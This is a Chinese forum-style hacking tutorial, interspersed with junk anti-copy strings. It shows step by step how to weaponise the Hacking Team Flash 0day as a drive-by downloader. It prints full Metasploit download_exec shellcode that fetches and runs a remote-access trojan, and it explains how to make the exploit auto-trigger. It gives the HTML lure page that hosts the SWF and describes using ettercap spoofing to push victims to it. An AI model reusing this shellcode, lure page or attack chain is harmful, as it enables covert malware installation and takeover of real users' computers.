, r# J3 U( P3 c! L- R8 W6 X% H; N0 s
三、flash 0day之手工代码修改制作下载者实例入侵演示
: z' a& @# L0 k0 R
; _7 `( ?( M. p! ~& g' j2 ~' g: c: e" w6 ^9 T! {, Y& K
利用到的工具:
; \, g+ l8 b7 l# ^, t s 7 J1 O! y4 F, i& @' L3 p" }/ j/ Z3 [
( x4 e8 V# _8 Y) m6 G
Msf ?6 n4 r9 k3 `! _3 K
; a) W% [8 w4 V( E) A0 m" {& A) f! C e! a& q+ B
Ettercap
3 s8 a/ \ H" A. X; L- D$ h! E 0 X2 Y* @/ q2 Q) r6 i: X* Q& ~
; i4 v4 A5 M% [7 a! O# b
Adobe Flash CS6
5 c1 L$ f: U7 M; q! f9 t4 o . l1 {5 f! \) z" x, i1 F
8 D" T8 b3 Z! a: N2 s Y
Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
a- W* M* G* _- b8 X" ^! o' }' f% | / N5 s2 V" g% s, V, s- O
* a7 g+ M& K+ R! N# d+ |
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options # f' H$ L N+ v; e# d, b
+ C2 i/ ]- ^1 }1 _: i
. ?5 a, H# T4 ^6 v3 R 如图:
1 `1 @6 q7 Z7 b5 V+ ^1 m
/ E4 U. {$ s4 M! y8 t; V, @, e) l- T6 a2 O
P' U; V/ K0 X% M 9 W6 V% B5 h- B' ?8 p
3 [ V0 Y/ F: g8 F, ^ 7 @6 W* g, h8 i3 i
: }2 S; _" p& m1 _* k$ v: N
+ U3 r! i9 J, u- g$ p) o- }. ] 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
0 D. l' q: I: K4 e0 [9 H0 a0 I
+ S! E* d! o- Z) G% f J+ Q5 D/ N A2 b; [5 ~, n1 R1 ]
; _5 ~) V" Z% |7 \9 P3 R; } T
) r, ~( f; T$ j7 S2 C* k: C
6 C1 k" v0 `# P( Q9 q+ z9 q7 j
& P' f* }) }5 { N. \& Z
# `$ f6 {4 W! v- g8 W, a+ A. R; g S- p( V
然后执行generate -t dword生成shellcode,如下:
' T6 U. j0 X3 G * y$ |) u- A+ m6 V/ A4 i& c9 }" p
0 D* t: g, N' K* M
6 p1 w$ W0 C' t6 n . I! A1 Y3 l' u, H( h
7 Q# T6 s5 w8 S0 ^; J) G4 f 复制代码到文本下便于我们一会编辑flash exp,如下: : G2 h4 Q6 G" N3 p" H
; v2 X8 \8 T0 n& z
; U! E( x/ N( {* G( W
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, ; m) J8 F" s/ M# M
, D( m& I. L1 J& k4 H4 ~! A$ P1 ?6 Z$ c
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 2 ~( l0 X! y6 E. ]
" ]% c7 l7 m& V$ t7 a' \9 F
0 Y" x/ F0 Q0 `; F* k% f: q. ^* G9 E" f, F 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, ) [1 p9 o" j. [5 S+ m' A
) [/ v2 s* }* x! x" T- [- r8 H
2 ?5 I( V7 Q0 \6 x# Q. m5 F& E
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
6 T& E9 m/ k2 h& k$ ^6 ]1 } / d; T. b9 x% O
$ ^. o- D$ Y3 t 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, 1 A! {: D0 k$ [, j
' X3 A/ P0 W s4 b2 f" P9 y1 C
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, 3 T( F) x0 [ Q3 B( ^, G) n) R
4 O4 |$ f, J6 f; v5 d( H
# O/ ~0 L7 Q) a+ D+ F- {
0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, . | J* u9 i( S* t
" s% v( K6 e+ L) l' @7 K$ y
0 M+ U& h3 l4 p7 @- Y/ ? 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, 8 e6 r' a( y( Y0 Q
, @6 q5 K; y% q' b5 X0 w; V
* x8 A0 J# Y/ }! w9 S
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, 7 w4 c% O6 y4 K, M# t& N3 E5 m
! W- p+ \) z |+ U+ d
4 N0 K C6 H4 C7 |: N6 K; B" | i# M 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
7 d1 I5 r8 u3 x. C$ M+ G2 o+ o7 w) U ( g, O0 ?% W& O, F
F/ _: D5 n/ O3 U, \) I 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, , S9 i2 I [5 G) `; v" ?4 a
, D9 M j( z4 Q R& \, b% X
! I4 E( N1 {" N' r) {" |. U# k6 T 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, " ^7 }5 P! n8 _6 \
, S1 A: }) I; k7 `
2 F5 \' v9 k7 w7 t
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,
% a, h) Y; z8 d 6 Z* e {4 B: i% e( s% d
0 C. \( n! a7 ` M$ Z6 D' j
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 / j) F3 l# K q! V0 }2 n
\' d: G) V( d, d1 [% {( u
- P* B* {1 Z# M' W, Y5 q, L
( ` `2 M; r1 Y; Y, R5 o" q+ I
6 E# U1 ^3 G" b/ k' \
! Z7 e# b- _: ~1 J! x
+ A: y% L( G& E8 _5 n4 H9 n; W
& b2 V; N: K5 P( [0 C) b# M) C$ S! N
& _* V" X7 \! h v; V: w 下面我们来修改flash 0day exp,需要修改三个文件,分别为:
& n& e/ u/ w. I9 W
2 u Z- e7 \5 U7 |) F; N6 F' ^. `: |* q. a2 y3 Z
) f9 L( I6 ]" x1 j: U f. a G8 i
/ f- Q1 {6 h9 S3 H. G2 L7 x
5 _4 N; w' j" h 先修改ShellWin32.as,部分源代码如图:
$ Y0 x( n5 f _2 \% }
/ d4 ~+ P& t( l5 T' ]2 Q+ L* ~) N, y' [6 _7 V
' U5 \# q$ w. s
1 G$ l7 G0 r' D; E% o- w
8 }: ^1 C' k$ B+ h) O 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下:
0 G7 R8 ?; l$ |% U/ R" K! ? 7 v2 W3 y! H' \) o) t
* {3 _4 o0 e+ F8 m
& e w$ D$ O: j c
+ H4 z6 B: H4 k4 o4 j
! b( J) ?1 H% t5 a6 W& f! n
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: - ~4 k; V. F, W4 h9 Q# x
3 J. {# h3 d% H. h) |( |
3 U/ d( i; S1 a
" T6 T! S2 a+ ~( o$ A
4 }5 x2 _: ^# X% |$ H0 \$ _1 o4 q7 C' g8 [& w$ ?! p$ [
换行在后面加一句TryExpl();注意是l不是数字1,然后如图: + F6 ?) j. ^ P1 o" c
( U ^% E/ j N+ @- m& U H9 M
8 l2 T) A& P5 i) X* t0 S
9 ^8 D1 P5 @0 T' Q/ I4 x/ Y 1 ^. a: L# o5 G; i6 [- f
5 l; v3 [' x2 f, w' s * ]' I0 ^# | B+ @6 k
% T9 Y. @; S( e. A( A3 I- ^$ c* t! A
( P" ~( S5 g* K; e# c [
& k. O! J# R6 j1 y( b( f, r7 F3 A5 E/ L5 }
然后点保存,下面我们来编译一下,打开 , {0 @; G# V1 b4 f r1 h2 N! C; F
8 \ l: Y$ n1 j. d% R6 H
: X$ @, R* g1 \+ u3 \2 i exp1.fla然后点文件-发布,看看编译没错误
% K2 q) h( \- a9 ?- X* `# G: i, W
! s4 j/ o5 J4 n& ^$ X' D: G. N! R! X8 W
9 Q! m) L6 [ P: S 8 Q. U+ Z% a( G, o/ S* ]
8 p" N& C$ F) ?# Q
# d8 G! M8 q, b5 r6 \& n 6 _# _6 g% W+ m8 l# h
) F8 z B, S% ]. d; U 7 F0 T) `, U$ [, l& i6 B' }/ W$ g4 N
# g/ P9 z# R$ M9 j. [9 U: {( v* o* [" U
" D+ u' p$ E, W/ `0 x/ R/ ~& \
" L0 ?0 Q- V5 I2 P0 E5 f( F# o2 c9 v0 ^" Y3 D! E' w6 N: N2 @
然后我们把生成的
5 D3 y' p9 s- u, a) E
i$ N/ R) |' e/ { J( B
0 i6 k7 T( M0 D: f. S% T exp1.swf丢到kailinux 的/var/www/html下:
0 o$ R1 @1 u& E, j b n& Q* u8 x" s% m$ O7 d: R" \, j
7 E' C& i( X: L; q8 i
然后把这段代码好好编辑一下 ( ]4 I2 @' N, ~6 Q' o+ ^2 O2 X
! J" c7 P9 m, h7 N0 q! Q
2 A6 i% l+ P, I * |+ ^7 w/ A$ O* f8 n7 y# Q
# g: G0 l0 P0 `% }0 r. d- K, E
# Y- ?' ~ s+ [$ o- V% J) r' j
+ C* m- A C; }% K5 d1 {
* z$ k" ~ B1 O+ C1 e; V7 |. Q- k' s9 I, I
0 g3 n7 o+ \2 f, B+ Q/ }- L9 m8 r1 ~$ A
6 V/ x: a7 @( o, [5 P* `' k! x) v2 _2 O6 W& `
. R6 K. H% u8 d! t
" i7 ^ E a* d9 a: F' l& |, s$ |$ Z! C+ V8 V4 D W6 e: O
1 s- f$ C" X4 K& o8 l, b3 | 5 }( I$ a, W K; ?" @, c( }/ `
4 O& p( x; Y+ b: o) Y
- k/ m5 l- U2 o: y6 P 7 h1 Y+ O/ D% D1 {; y
4 B" F0 T% _5 ^8 i' x5 q4 R
<!DOCTYPE html>
+ W/ ]+ o1 ]( ]
. v$ a& U) J# k1 w, D
: H. H9 n0 _, G1 f, ` <html>
7 I7 v5 h Z) R. h u0 k; y3 u * ^0 N- [7 K6 W7 J) H2 x, m+ X) y
* F' j6 _" x5 U L m$ z <head>
3 {/ G v- R! m4 P- L" F 5 l: j$ x# h, F P: J' {8 g/ K
p3 ~) G1 r. D' R7 {8 H$ t2 K
<meta http-equiv="Content-Type" content="text/html;
1 W/ {' B. l& g1 g ( A" `, Y3 I' @0 Z' s! z* H
4 m' I+ x3 h+ ]) {1 P( B
charset=utf-8"/> # [1 q* N" E: e/ n; j6 }$ {- ?
7 g( a7 B* `4 a# D2 m% ^
1 |( {( e% s G, Q5 v
</head>
. W6 R- G" m; O/ y3 s. P6 y% A6 R' K 9 [ E8 C6 B: i& ?3 G5 N5 x$ _/ L
& C0 | \ y& A3 O( @" m
<body>
" R- ~) t2 v+ [ V
6 G! J$ d" l( b) A( {3 O8 o8 o, j8 X- _" M* f4 w
<h2> Please wait, the requested page is loading...</h2>
5 l5 F7 O$ ^* M/ O1 y9 G
& j" [1 J _/ a) k
, _( Z; a( D& i) v! T& f <br>
0 W2 Z* X* t9 l1 y- F# P3 N % N( ?9 A4 [5 B7 |* v
* J; ^+ r5 Z) ?9 R1 `! W8 i; d* F
<OBJECT * n, D. }) H! U2 e
5 c: X: E. T& v" G5 {* t$ h+ f& H0 @' i# w. t( c
classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie 0 I7 ]% t" S3 {5 I& I
$ A+ S( i9 x+ Z2 f8 f: f8 V% r/ ^# q
3 {+ \7 i5 l4 z& N VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
( k2 x) H9 |0 [9 }" y + \3 q8 A' i) W
3 y7 p* D3 [& }, X </body> 1 L* f, Y/ g- x! E
0 x7 C3 @8 R3 Q/ e+ k4 w& f$ \( k6 I6 f: p5 T& {7 ~; v
<script>
7 \$ i0 ?' V8 V. y 3 ?* R+ y& p' b4 ]. f" U/ |
N2 E! w4 O! U
setTimeout(function () {
2 C$ h+ E2 `! W" L Y. m
) A9 H$ s7 c8 u( k( F
8 G- S# L8 b* s' k ! B- N9 f! j' `: [" Y
: H$ J) c8 W2 [* A& l
/ a4 Y0 T5 k1 i window.location.reload(); 0 n0 L+ k) \' L- b( T/ H7 y
% T3 k$ V% y/ l" d! M
- V T' u7 ?4 t+ {% E. v1 K }, 10000); ' ~% W3 r% \( A" V ^5 x
- j9 C) Y \; a0 _4 e; {1 h6 f' k* O. c; W0 r0 O3 K
5 y! u1 U' I1 b: Z
, K; d5 ?! @# ~7 A) r: X" f
0 [, o( [$ o2 M. B) {! P9 ~ </script>
S4 w$ h; g0 U Q' G 1 _% u" Q2 \, J, q" J1 s J, k ]
2 z9 S: n2 j* w* M( p2 J
</html>
! \0 I6 E- ?+ `1 K $ c$ Q1 _0 B) i# n. r7 L
, p' I& z8 L4 }8 l' Z( J3 i
) w* L. ]8 S9 k0 I5 Y0 y. a
( @* N0 g: j6 @8 c1 h
# u- x |. M. i; l* Q 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
^0 e9 r" E/ y. P , R9 o, F& c2 ^& @) E( P
, \2 _3 S) a" A2 G B- ?- c7 ~. v
4 Y" B& l2 l, a8 [3 a
6 X8 x# L- L' y# Z c" Y- v q. X K( A; Q' L+ {( ^- v3 n
# j/ H) `9 r& w; L6 z
+ V% \' I/ s/ b7 b; Q
2 o8 ?8 R1 a1 u; _9 u) r+ T) ^/ i ' G. r0 I& d w
a) t4 @4 O/ o0 v4 N0 F0 L% d( Q0 H, I) x$ L& U
% _. J: `4 [& [5 _ ( Z6 p! r2 Q6 E
) Y+ b7 E/ n. w8 \4 L
9 [- r, t* X% S4 f, M/ a" q9 d
1 O& V8 E; \; p& G. y; e2 i
+ R8 N' D8 N6 l2 |! O
下面我们用ettercap欺骗如图:
O8 Z* Z* ]/ `; h3 a9 Z) S
' g8 s3 o) n4 Z9 D4 \
& D. I& Q1 |8 q5 \( A+ I' e$ R* o 8 R) h: Z% Z% r" ?5 N7 W9 {- ^
- ^5 j- [# r8 e9 P; r2 H
; o) j( E% J7 x1 `7 z. h6 n, [3 C2 E
7 a. e0 M" ?" z+ A
0 U! |' A! ]0 L' u1 b7 g
$ o4 V. |1 b( a8 Q- I% j4 [( h
下面我们随便访问个网站看看: 9 l8 {) d+ a# p$ M! `- f/ r; A+ a
/ c- a) f2 s- }( r
5 H2 U, R: O9 Z4 x0 t: G- t: v 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图:
* Y3 Q5 V2 ~& `
# Z3 w) F! m0 ~
0 A5 ]- I" ]) ?; a" ?; P& Y 5 x5 V1 p4 V1 ?8 W4 y* k! O3 I+ ]
2 @" G- n' ] h5 x
& {' i! b; D# w" V8 B: d; S, g
我们看另一台,
( I. i# h+ E% b5 N* c ) L1 I1 u4 [; n) j6 z
. _# N4 d: U) z9 B3 ` 提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。 . J( o2 W5 J# @1 n. {. `
|